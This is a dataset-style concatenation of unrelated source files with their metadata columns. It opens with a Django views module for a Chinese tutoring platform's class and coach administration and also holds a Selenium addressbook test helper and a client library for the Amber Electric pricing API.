'空余名额', '报名人数', '需组班数量', '已确认教练', '完成测试教练'] row = 0 today = arrow.now('+08:00') for title_item in title_list: sheet.write(0, row, title_item, style=xlwt.Style.default_style) row += 1 start_line = 1 for line_item in data: sheet.write(start_line, 0, line_item.id, style=xlwt.Style.default_style) sheet.write(start_line, 1, __GRADES[line_item.grade], style=xlwt.Style.default_style) sheet.write(start_line, 2, __SUBJECTS[line_item.subjectId], style=xlwt.Style.default_style) sheet.write(start_line, 3, line_item.classDay, style=xlwt.Style.default_style) sheet.write(start_line, 4, "%s~%s" % (period_int_to_time(line_item.startTime).strftime('%H:%M') , period_int_to_time(line_item.endTime).strftime('%H:%M')) , style=xlwt.Style.default_style) sheet.write(start_line, 5, line_item.remainNum, style=xlwt.Style.default_style) sheet.write(start_line, 6, line_item.studentNum, style=xlwt.Style.default_style) sheet.write(start_line, 7, line_item.newClassNum, style=xlwt.Style.default_style) sheet.write(start_line, 8, line_item.acceptCoachNum, style=xlwt.Style.default_style) sheet.write(start_line, 9, line_item.testSuccessCoachNum, style=xlwt.Style.default_style) start_line += 1 sheet.write(start_line+2, 0, "统计日期", style=xlwt.Style.default_style) today_str = today.format(u'YYYY年MM月DD日') sheet.write(start_line+2, 1, today_str, style=xlwt.Style.default_style) response = HttpResponse(content_type='application/ms-excel') response['Content-Disposition'] = 'attachment; filename=taskList%s.xls' % today.format('YYYYMMDD') book.save(response) return response @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def task_invite_list(request): task_id = int(request.GET['taskId']) data = ClassAdminService.get_task_invite(task_id) total = len(data) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def task_apply_student_list(request): task_id = int(request.GET['taskId']) data = ClassAdminService.get_task_apply_students(task_id) total = len(data) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def invite_coach(request): task_id = int(request.POST['taskId']) coach_name = request.POST['coachName'] result = ClassAdminService.invite_coach(task_id, coach_name) if result > 0: return ext_success() messages = { 0: u'数据错误,请重试', -1: u'教练不存在,请检查数据后重试', -2: u'教练已被邀请或未设置可用时段,不能被邀请', -3: u'此教练会导致分班冲突' } message = messages.get(result, u'操作失败,请您重试') return ext_fail(message) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def cancel_invite_coach(request): task_id = int(request.POST['taskId']) coach_name = request.POST['coachName'] result = ClassAdminService.cancel_invite(task_id, coach_name) if result: return ext_success() else: return ext_fail(u'该邀请不存在,请您重试') # ===================================== # # 班级管理相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_list_page(request): return render(request, 'tutor/class_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) args = request.GET parameters = {} data = {} para_key = ['classID', 'templateID', 'teacherName', 'startDate', 'year', 'season', 'grade', 'subject'] for key in para_key: if args.get(key): parameters[key] = request.GET[key] data, total = ClassService.filter_class(limit, offset, **parameters) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def exchange_coach(request): """ 更换教练 """ class_id = int(request.POST['class_id']) new_coach_name = request.POST['new_coach_user_name'].lstrip().rstrip() reason_type = int(request.POST['reason']) remark = request.POST['remark'] state = ClassAdminService.exchange_coach(class_id, new_coach_name, reason_type, remark) return ext_success({'state': state}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def close_class(request): class_id = int(request.POST['classId']) result = ClassAdminService.close_class(class_id) if result: return ext_success() else: return ext_fail() @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def enlist_list_by_user_name(request): userName = request.GET['userName'] # 学生用户名,去报名表里找信息形成列表 data = StudentService.get_enlist_list(userName) # 获取报名列表 return ext_success({'rows': data, 'total': ""}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def coach_usable_period_by_id(request): userName = request.GET['userName'] data = CoachService.get_coach_period_list(userName) return ext_success({'rows': data, 'total': ''}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def fire_coach_info_by_name(request): user_name = request.GET['userName'] data, total = CoachService.fire_coach_info_by_name(user_name) return ext_success({'rows': data, 'total': ''}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def student_info_in_class_by_class_id(request): class_id = int(request.GET['class_id']) data = ClassService.get_students_in_this_class(class_id) return ext_success({'rows': data, 'total': ''}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def modify_class_for_student(request): para_list = request.POST student_id = int(para_list['student_id']) change_list = json.loads(para_list['change_list']) data = ClassService.modify_class_for_student(student_id, change_list) return ext_success({'rows': '', 'total': ''}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_list_of_student_by_user_name(request): userName = request.GET['userName'] # 学生用户名,去上课表里找信息形成列表 data = StudentService.get_class_list(userName) # 获取报名列表 return ext_success({'rows': data, 'total': ""}) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def temp_replace_class_time(request): class_id = int(request.GET['class_id']) class_info = ClassService.get_class_by_id(class_id) lesson_plan = json.loads(class_info[0].lessonPlan) now = arrow.now('+08:00').strftime('%Y-%m-%d %X') output_days = [] for item in lesson_plan: cur_day = "%s %s" % (item['day'], item['start_time']) if now < cur_day: output_days.append({ 'classTime': item['day'], 'startTime': item['start_time'][:5], 'endTime': item['end_time'][:5] }) return ext_success({'rows': output_days, 'total': len(output_days)}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def temp_replace_coach(request): class_id = int(request.POST['class_id']) new_coach_name = request.POST['new_coach_user_name'].lstrip().rstrip() days = json.loads(request.POST['days']) remark = request.POST['reason'] state = ClassAdminService.temp_replace_coach(class_id, new_coach_name, days, remark) return ext_success({'state': state}) @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_temporary_substitute_state_page(request): return render(request, 'tutor/class_temporary_substitute_state.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_temporary_substitute_state(request): params = {} offset = int(request.GET['start']) limit = int(request.GET['limit']) data, total = ClassService.get_temporary_substitute_list(limit, offset, **params) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_temporary_enrollment_schedule_page(request): return render(request, 'tutor/class_temporary_enrollment_schedule.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def class_template_enrollment_schedule(request): params = {} offset = int(request.GET['start']) limit = int(request.GET['limit']) data, total = ClassTemplateService.get_class_template_enrollment_schedule(limit, offset) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) __SEASON_TYPE = ['', '秋季', '寒假', '春季', '暑假'] __SUBJECTS = ['', '语文', '数学', '英语', '物理', '化学', '生物', '历史', '地理', '政治', '文科综合', '理科综合', '其他', '科学'] __GRADES = ['', '一年级', '二年级', '三年级', '四年级', '五年级', '六年级', '初一', '初二', '初三', '高一', '高二', '高三'] __CYCLE_DAYS = ['', '每周一', '每周二', '每周三', '每周四', '每周五', '每周六', '每周日', '周一到周六', '周六日'] @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def export_excel_class_template_enrollment_schedule(request): book = xlwt.Workbook(encoding='utf8') sheet = book.add_sheet('sheet1') season_map = __get_season_map() data, total = ClassTemplateService.get_class_template_enrollment_schedule(500, 0) title_list = ['编号', '学季', '科目', '年级', '循环日', '时段', '招生名额', '占用名额报名人数', '报名本次课的学员', '剩余名额', '本次课剩余名额', '上次课需续约数', '上次课未续约数', '需要在本次课续约数', '上次课新约课总人数', '上周新约课总人数'] row = 0 today = arrow.now('+08:00') for title_item in title_list: sheet.write(0, row, title_item, style=xlwt.Style.default_style) row += 1 start_line = 1 for line_item in data: sheet.write(start_line, 0, line_item.templateId, style=xlwt.Style.default_style) sheet.write(start_line, 1, __trans_season_id_to_season_string(line_item.seasonId, season_map), style=xlwt.Style.default_style) sheet.write(start_line, 2, __SUBJECTS[line_item.subjectId], style=xlwt.Style.default_style) sheet.write(start_line, 3, __GRADES[line_item.grade], style=xlwt.Style.default_style) sheet.write(start_line, 4, __CYCLE_DAYS[line_item.cycleDay], style=xlwt.Style.default_style) sheet.write(start_line, 5, "%s~%s" % (period_int_to_time(line_item.startTime).strftime('%H:%M'), period_int_to_time(line_item.endTime).strftime('%H:%M')), style=xlwt.Style.default_style) sheet.write(start_line, 6, line_item.totalNumber, style=xlwt.Style.default_style) sheet.write(start_line, 7, line_item.usedNumber, style=xlwt.Style.default_style) sheet.write(start_line, 8, line_item.currentClassNumber, style=xlwt.Style.default_style) sheet.write(start_line, 9, line_item.totalRestNumber, style=xlwt.Style.default_style) sheet.write(start_line, 10, line_item.currentRestNumber, style=xlwt.Style.default_style) sheet.write(start_line, 11, line_item.lastClassContinueNumber, style=xlwt.Style.default_style) sheet.write(start_line, 12, line_item.lastClassUnContinueNumber, style=xlwt.Style.default_style) sheet.write(start_line, 13, line_item.currentContinueNumber, style=xlwt.Style.default_style) sheet.write(start_line, 14, line_item.lastClassNewNumber, style=xlwt.Style.default_style) sheet.write(start_line, 15, line_item.lastWeekTotalNumber, style=xlwt.Style.default_style) start_line += 1 sheet.write(start_line + 2, 0, "统计日期", style=xlwt.Style.default_style) today_str = today.format(u'YYYY年MM月DD日') sheet.write(start_line + 2, 1, today_str, style=xlwt.Style.default_style) response = HttpResponse(content_type='application/ms-excel') response['Content-Disposition'] = 'attachment; filename=schedule%s.xls' % today.format('YYYYMMDD') book.save(response) return response def __get_season_map(): season_data = SeasonService.get_season_list() season_map = {} for item in season_data: season_map[item.id] = item return season_map def __trans_season_id_to_season_string(season_id, season_map): if season_id in season_map: return "%d-%d%s" % (season_map[season_id].year, season_map[season_id].year + 1, __SEASON_TYPE[season_map[season_id].seasonType]) else: return "学季数据有误" @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def send_notification(request): """ 发送通知 """ alltarget = [u'coach', u'student_in_class', u'student_not_in_class'] class_id = request.POST.get('classId') notification = request.POST.get('notification') target = request.POST.getlist('target') target = [alltarget.index(identify) for identify in target] if not notification or not target: return ext_fail() if ClassAdminService.send_notification(int(class_id), notification, target): message = u'通知发送成功' else: message = u'未查询到发送对象手机号, 未发送短信' return ext_success(message) @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def modify_student_to_another_class(request): """ 调班 """ student_name = request.GET.get('studentName') origin_class_id = request.GET.get('originClassId') target_class_id = request.GET.get('targetClassId') if not student_name or not origin_class_id or not target_class_id: return ext_fail(u'无法获取学生名/目标班级ID/原班级ID') try: origin_class_id = int(origin_class_id) target_class_id = int(target_class_id) except: return ext_fail(u'请输入正确的班级ID') remark = u'前台暂未要求输入备注原因' result = ClassAdminService.modify_student_to_another_class(student_name, origin_class_id, target_class_id, request.user.username, remark) if result != 1: messages = { 0: u'数据错误,请重试', -1: u'调班失败: 该学员已在目标班级中', -2: u'调班失败:目标班级不存在或已结束', -3: u'调班失败: 目标班级不符', -4: u'调班失败: 本班级正在上课', -5: u'调班失败: 目标班级正在上课', -6: u'调班失败:目标班级剩余课次为0', -7: u'调班失败: 目标班级无剩余名额', -8: u'调班失败: 目标班型剩余课次不足', -9: u'调班失败: 教练学生冲突', -10: u'调班失败: 目标班型剩余名额不足', -11: u'调班失败: 当前时间已过调班有效时间', -12: u'调班失败: 未找到该学生合法的约课记录' } message = messages.get(result, u'操作失败, 请重试') return ext_fail(message) return ext_success() # ===================================== # # 课堂监控相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def class_monitor_page(request): return render(request, 'tutor/class_monitor.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def monitor_class_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) coachOrStudent = int(request.GET['type']) # 1表示异常,0表示不异常 unusual = int(request.GET['unusual']) args = request.GET parameters = {} data = {} para_key = ['classID', 'templateID', 'teacherName', 'startDate', 'year', 'season', 'grade', 'subject'] for key in para_key: if args.get(key): parameters[key] = request.GET[key] if coachOrStudent == 0: if unusual: data, total = MonitorService.filter_unusual_coach_class(limit, offset, **parameters) else: data, total = MonitorService.filter_coach_class(limit, offset, **parameters) elif coachOrStudent == 1: if unusual: data, total = MonitorService.filter_unusual_student_class(limit, offset, **parameters) else: data, total = MonitorService.filter_student_class(limit, offset, **parameters) else: totol = 0 for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) # ===================================== # # 教练招培相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def coach_hiring_list_page(request): return render(request, 'tutor/coach_hiring_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def coach_hiring_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) args = request.GET parameters = {} if args.get('userName'): parameters['userName'] = request.GET['userName'] if args.get('phone'): parameters['phone'] = request.GET['phone'] if args.get('subjectId'): parameters['subjectId'] = int(request.GET['subjectId']) if args.get('qq'): parameters['qq'] = request.GET['qq'] data, total = CoachService.filter_hiring_coaches(limit, offset, **parameters) return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def coach_hiring_import(request): coach_names_text = request.POST['coachNames'] coach_names = coach_names_text.replace('\r', '').split('\n') check_result = CoachService.check_import_hiring_coach_names(coach_names) if check_result.imported or check_result.notExists \ or check_result.notTeacher: return ext_fail(check_result) result = CoachService.import_hiring_coaches(coach_names) if result: return ext_success() return ext_fail() @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def set_coach_reserve(request): coach_name = request.POST['coachName'] remark = '转储备' result = CoachService.set_coach_reserve(coach_name, request.user.username, remark) if result: return ext_success() return ext_fail() # ===================================== # # 教练更换状态相关页面及ajax接口 # # ===================================== @ensure_csrf_cookie @require_http_methods(['GET']) @require_login() def change_coach_status_page(request): return render(request, 'tutor/change_coach_status_list.tpl') @ensure_csrf_cookie @require_http_methods(['GET']) @json_service() def change_coach_status_list(request): offset = int(request.GET['start']) limit = int(request.GET['limit']) data, total = ClassService.get_change_class_coach_list(limit, offset) for item in data: item.startTime = period_int_to_time(item.startTime).strftime('%H:%M') item.endTime = period_int_to_time(item.endTime).strftime('%H:%M') return ext_success({'rows': data, 'total': total}) @ensure_csrf_cookie @require_http_methods(['POST']) @json_service() def change_coach_list_invite_coach(request): """ 教练更换状态邀请教练 """ class_id = int(request.POST['class_id']) new_coach_name = request.POST['new_coach_user_name'].lstrip().rstrip() # 公司要求 reason_type = 1 remark = u'教练更换状态页面邀请教师' state = ClassAdminService.exchange_coach(class_id, new_coach_name, reason_type, remark) return ext_success({'state': state})
33.056303
169
0.66698
4,916
39,337
5.05533
0.090114
0.031144
0.045067
0.063858
0.759134
0.736198
0.705979
0.686424
0.661476
0.644616
0
0.005211
0.180365
39,337
1,189
170
33.084104
0.765585
0.025803
0
0.635514
0
0
0.100857
0.010458
0
0
0
0
0
0
null
null
0
0.020768
null
null
0.001038
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
20391bde3b503ef0b366d85ee7a440594466a3b5
192
py
Python
foiamachine/apps/core/admin.py
dwillis/foiamachine
26d3b02870227696cdaab639c39d47b2a7a42ae5
[ "Unlicense", "MIT" ]
9
2017-08-02T16:28:10.000Z
2021-07-19T09:51:46.000Z
foiamachine/apps/core/admin.py
dwillis/foiamachine
26d3b02870227696cdaab639c39d47b2a7a42ae5
[ "Unlicense", "MIT" ]
null
null
null
foiamachine/apps/core/admin.py
dwillis/foiamachine
26d3b02870227696cdaab639c39d47b2a7a42ae5
[ "Unlicense", "MIT" ]
5
2017-10-10T23:15:02.000Z
2021-07-19T09:51:48.000Z
from django.contrib import admin from apps.core.models import EmailAddress class EmailAdmin(admin.ModelAdmin): search_fields = ['content'] admin.site.register(EmailAddress, EmailAdmin)
21.333333
45
0.796875
23
192
6.608696
0.73913
0
0
0
0
0
0
0
0
0
0
0
0.114583
192
8
46
24
0.894118
0
0
0
0
0
0.036458
0
0
0
0
0
0
1
0
false
0
0.4
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
6451786b025590041db25c6d7831581bac5db3c7
48
py
Python
packtrack/profiles/settings.py
jR1P621/packtrack
112e26ac3604012640e0ecfde6579086c4fbc0f5
[ "MIT" ]
null
null
null
packtrack/profiles/settings.py
jR1P621/packtrack
112e26ac3604012640e0ecfde6579086c4fbc0f5
[ "MIT" ]
null
null
null
packtrack/profiles/settings.py
jR1P621/packtrack
112e26ac3604012640e0ecfde6579086c4fbc0f5
[ "MIT" ]
null
null
null
MAX_AVATAR_SIZE = 800 MAX_AVATAR_RATIO = 16 / 9
16
25
0.770833
9
48
3.666667
0.777778
0.545455
0
0
0
0
0
0
0
0
0
0.15
0.166667
48
2
26
24
0.675
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
646d5620d3cd5b45db4aba6ba076ebecbfbde86e
195
py
Python
SlopPy-tests/regression-tests/NA_ternary_ops.py
pajju/SlopPy
59a9125de0401959ee40ef02193265248d54b075
[ "PSF-2.0" ]
2
2022-02-03T23:56:24.000Z
2022-02-08T19:18:46.000Z
SlopPy-tests/regression-tests/NA_ternary_ops.py
pajju/SlopPy
59a9125de0401959ee40ef02193265248d54b075
[ "PSF-2.0" ]
null
null
null
SlopPy-tests/regression-tests/NA_ternary_ops.py
pajju/SlopPy
59a9125de0401959ee40ef02193265248d54b075
[ "PSF-2.0" ]
null
null
null
# do a bunch of ternary operations on an NA object x = 1 / 0 assert type(x) is NA assert type(pow(x, 2)) is NA assert type(pow(2, x)) is NA assert type(x ** 2) is NA assert type(2 ** x) is NA
17.727273
50
0.651282
44
195
2.886364
0.409091
0.393701
0.314961
0.440945
0.535433
0.251969
0
0
0
0
0
0.04
0.230769
195
10
51
19.5
0.806667
0.246154
0
0
0
0
0
0
0
0
0
0
0.833333
1
0
false
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
4
64836ff6720ae8390ef28321f8615203525d3e82
2,164
py
Python
tests/application.py
spottybug/python_training
29c53915bcd5a750c35edaf40fc383354d9b3dc3
[ "Apache-2.0" ]
null
null
null
tests/application.py
spottybug/python_training
29c53915bcd5a750c35edaf40fc383354d9b3dc3
[ "Apache-2.0" ]
null
null
null
tests/application.py
spottybug/python_training
29c53915bcd5a750c35edaf40fc383354d9b3dc3
[ "Apache-2.0" ]
null
null
null
from selenium.webdriver.remote import webdriver class Application: def __init__(self, driver: webdriver.WebDriver): """ :type driver: this is browser driver (fro example, chrome-driver, firefox driver, etc...) """ #self.wd = WebDriver() self.wd = driver self.wd.implicitly_wait(60) def open_home_page(self): wd = self.wd wd.get("http://localhost/addressbook/index.php") def login(self, username, password): wd = self.wd self.open_home_page() wd.find_element_by_name("user").clear() wd.find_element_by_name("user").send_keys("%s" % username) wd.find_element_by_name("pass").click() wd.find_element_by_name("pass").clear() wd.find_element_by_name("pass").send_keys("%s" % password) wd.find_element_by_xpath("//input[@value='Login']").click() def open_groups_page(self): wd = self.wd wd.find_element_by_link_text("groups").click() def init_group_creation(self): wd = self.wd wd.find_element_by_name("new").click() def fill_group_form(self, group): wd = self.wd self.open_groups_page() wd.find_element_by_name("group_name").click() wd.find_element_by_name("group_name").clear() wd.find_element_by_name("group_name").send_keys("%s" % group.name) wd.find_element_by_name("group_header").click() wd.find_element_by_name("group_header").clear() wd.find_element_by_name("group_header").send_keys("%s" % group.header) wd.find_element_by_name("group_footer").click() wd.find_element_by_name("group_footer").clear() wd.find_element_by_name("group_footer").send_keys("%s" % group.footer) self.return_to_groups_page() def submit_group_creation(self): wd = self.wd wd.find_element_by_name("submit").click() def return_to_groups_page(self): wd = self.wd wd.find_element_by_link_text("group page").click() def logout(self): wd = self.wd wd.find_element_by_link_text("Logout").click() def destroy(self): self.wd.quit()
34.349206
97
0.642791
301
2,164
4.282392
0.219269
0.093095
0.201707
0.232739
0.539178
0.514352
0.393328
0.165244
0.165244
0.165244
0
0.001184
0.219501
2,164
63
98
34.349206
0.761989
0.051294
0
0.170213
0
0
0.110345
0.01133
0
0
0
0
0
1
0.212766
false
0.085106
0.021277
0
0.255319
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
4
6494b867474893c2489594affb178253412e823d
10,033
py
Python
src/pyAmberElectric/__init__.py
Bootlessjam/pyAmberElectric
819cb19500dbc909d9bf8f0d4fac4e2345efe0f5
[ "Apache-2.0" ]
null
null
null
src/pyAmberElectric/__init__.py
Bootlessjam/pyAmberElectric
819cb19500dbc909d9bf8f0d4fac4e2345efe0f5
[ "Apache-2.0" ]
1
2021-07-12T03:58:16.000Z
2021-07-12T03:58:16.000Z
src/pyAmberElectric/__init__.py
Bootlessjam/pyAmberElectric
819cb19500dbc909d9bf8f0d4fac4e2345efe0f5
[ "Apache-2.0" ]
1
2021-07-11T11:23:32.000Z
2021-07-11T11:23:32.000Z
import boto3 from .aws_srp import AWSSRP import json import requests import time class pyAmberElectric(): #nabbed from website, subject to change without notice. __region = 'ap-southeast-2' __poolID = 'ap-southeast-2_vPQVymJLn' __clientID = '11naqf0mbruts1osrjsnl2ee1' _URL = 'https://backend.amberelectric.com.au/graphql' #Offical website makes requests with the following body. Attempts to tailor the request to only get specific data failed, so we'll just get everything everytime. __payload = {"operationName":"LivePrice","variables":{},"query":"query LivePrice($period: String) {\n whoami\n sitePricing(period: $period) {\n remark\n solarRemark\n spikeRemark\n meterWindows {\n usageType\n forecastInformation {\n start\n end\n level\n title\n message\n __typename\n }\n currentPeriod {\n ...periodFields\n __typename\n }\n previousPeriods {\n ...periodFields\n __typename\n }\n forecastPeriods {\n ...periodFields\n __typename\n }\n __typename\n }\n __typename\n }\n settings {\n customerInfo {\n address {\n state\n postcode\n __typename\n }\n fullName\n featureFlags\n __typename\n }\n __typename\n }\n snapshots {\n periodSummary {\n ...UsagePeriodSummaryFields\n __typename\n }\n billingDays {\n ...UsageMissingBillingDayFields\n ...UsageCompleteBillingDayFields\n ...UsageEstimatedBillingDayFields\n __typename\n }\n __typename\n }\n}\n\nfragment UsagePeriodSummaryFields on CombinedSummary {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewableGridComparison {\n text\n indicator\n __typename\n }\n renewablePercentage\n usageDiff {\n text\n indicator\n __typename\n }\n usageKwh\n usageType\n __typename\n}\n\nfragment UsageMissingBillingDayFields on MissingBillingDay {\n marketDate\n __typename\n}\n\nfragment UsageEstimatedBillingDayFields on EstimatedBillingDay {\n marketDate\n stackedUsage {\n controlled\n feedIn\n general\n __typename\n }\n usagePeriods {\n controlled {\n end\n kwh\n start\n __typename\n }\n feedIn {\n end\n kwh\n start\n __typename\n }\n general {\n end\n kwh\n start\n __typename\n }\n __typename\n }\n usageSummaries {\n combined {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewablePercentage\n renewableGridComparison {\n text\n indicator\n __typename\n }\n suppliedDiff {\n text\n indicator\n __typename\n }\n suppliedKwh\n usageDiff {\n text\n indicator\n __typename\n }\n usageType\n usageKwh\n __typename\n }\n controlled {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewableGridComparison {\n text\n indicator\n __typename\n }\n renewablePercentage\n usageDiff {\n text\n indicator\n __typename\n }\n usageKwh\n usageType\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n feedIn {\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n carbonDisplaced\n carbonDisplacedDiff {\n text\n indicator\n __typename\n }\n earningsDiff {\n text\n indicator\n __typename\n }\n earningsInCents\n suppliedDiff {\n text\n indicator\n __typename\n }\n suppliedKwh\n usageType\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n general {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewableGridComparison {\n text\n indicator\n __typename\n }\n renewablePercentage\n usageDiff {\n text\n indicator\n __typename\n }\n usageKwh\n usageType\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n}\n\nfragment UsagePeriodFields on MarketPeriod {\n end\n kwhPriceInCents\n renewablePercentage\n start\n __typename\n}\n\nfragment UsageCompleteBillingDayFields on CompleteBillingDay {\n marketDate\n stackedUsage {\n controlled\n feedIn\n general\n __typename\n }\n usagePeriods {\n controlled {\n end\n kwh\n start\n __typename\n }\n feedIn {\n end\n kwh\n start\n __typename\n }\n general {\n end\n kwh\n start\n __typename\n }\n __typename\n }\n usageSummaries {\n combined {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewablePercentage\n renewableGridComparison {\n text\n indicator\n __typename\n }\n suppliedDiff {\n text\n indicator\n __typename\n }\n suppliedKwh\n usageDiff {\n text\n indicator\n __typename\n }\n usageType\n usageKwh\n __typename\n }\n controlled {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewableGridComparison {\n text\n indicator\n __typename\n }\n renewablePercentage\n usageDiff {\n text\n indicator\n __typename\n }\n usageKwh\n usageType\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n feedIn {\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n carbonDisplaced\n carbonDisplacedDiff {\n text\n indicator\n __typename\n }\n earningsDiff {\n text\n indicator\n __typename\n }\n earningsInCents\n suppliedDiff {\n text\n indicator\n __typename\n }\n suppliedKwh\n usageType\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n general {\n costDiff {\n text\n indicator\n __typename\n }\n costInCents\n renewableGridComparison {\n text\n indicator\n __typename\n }\n renewablePercentage\n usageDiff {\n text\n indicator\n __typename\n }\n usageKwh\n usageType\n averagePriceDiff {\n text\n indicator\n __typename\n }\n averagePriceInCents\n pricePeriods {\n ...UsagePeriodFields\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n}\n\nfragment periodFields on MarketPeriod {\n start\n kwhPriceInCents\n kwhPriceRange {\n minInCents\n maxInCents\n __typename\n }\n renewablePercentage\n indicator\n __typename\n}\n"} def __init__(self, username=None, password=None, maxAge=None): if maxAge: self.maxAge = maxAge else: self.maxAge = 300 if username: self.username = username if password: self.password = password if username and password: self.__client = boto3.client('cognito-idp', region_name=self.__region) self.__aws = AWSSRP(username=self.username, password=self.password, pool_id=self.__poolID, client_id=self.__clientID, client=self.__client) self.auth() self.update() #Wrapper to check if the local data is older than the maxAge allowed. If too old it will be updated. def checkLocalAge(func): def wrapper(self): if (self.updateTime + self.maxAge) < time.time(): self.update() return func(self) return wrapper def auth(self): self.tokens = self.__aws.authenticate_user() self.expiryTime = (time.time() + (self.tokens["AuthenticationResult"]["ExpiresIn"] - 300)) def update(self): if time.time() > self.expiryTime: self.auth() self._jsondata = (requests.post(self._URL, headers={'Authorization': ('Bearer ' + self.tokens["AuthenticationResult"]["IdToken"])}, json=self.__payload)).json() self.updateTime = time.time() @property @checkLocalAge def json(self): return self._jsondata @property @checkLocalAge def currentPrice(self): values = [] for meter in self._jsondata["data"]["sitePricing"]["meterWindows"]: values.append(meter["currentPeriod"]["kwhPriceInCents"]) return values @property @checkLocalAge def currentRenewable(self): values = [] for meter in self._jsondata["data"]["sitePricing"]["meterWindows"]: values.append(meter["currentPeriod"]["renewablePercentage"]) return values @property @checkLocalAge def currentValue(self): values = [] for meter in self._jsondata["data"]["sitePricing"]["meterWindows"]: values.append(meter["currentPeriod"]["indicator"]) return values @property @checkLocalAge def periodCost(self): return self._jsondata["data"]["snapshots"]["periodSummary"]["costInCents"] @property @checkLocalAge def periodUsage(self): return self._jsondata["data"]["snapshots"]["periodSummary"]["usageKwh"] @property @checkLocalAge def periodRenewable(self): return self._jsondata["data"]["snapshots"]["periodSummary"]["renewablePercentage"]
106.734043
7,242
0.613775
1,116
10,033
5.335125
0.171147
0.027209
0.134363
0.1478
0.608498
0.582298
0.560632
0.529392
0.529392
0.529392
0
0.002228
0.284262
10,033
93
7,243
107.88172
0.826904
0.031197
0
0.355263
0
0.013158
0.790676
0.105382
0
0
0
0
0
1
0.157895
false
0.065789
0.065789
0.052632
0.421053
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
649fcf255c1bd5c37d91a2f7bda001ded0900893
1,018
py
Python
tests/test_globbing.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
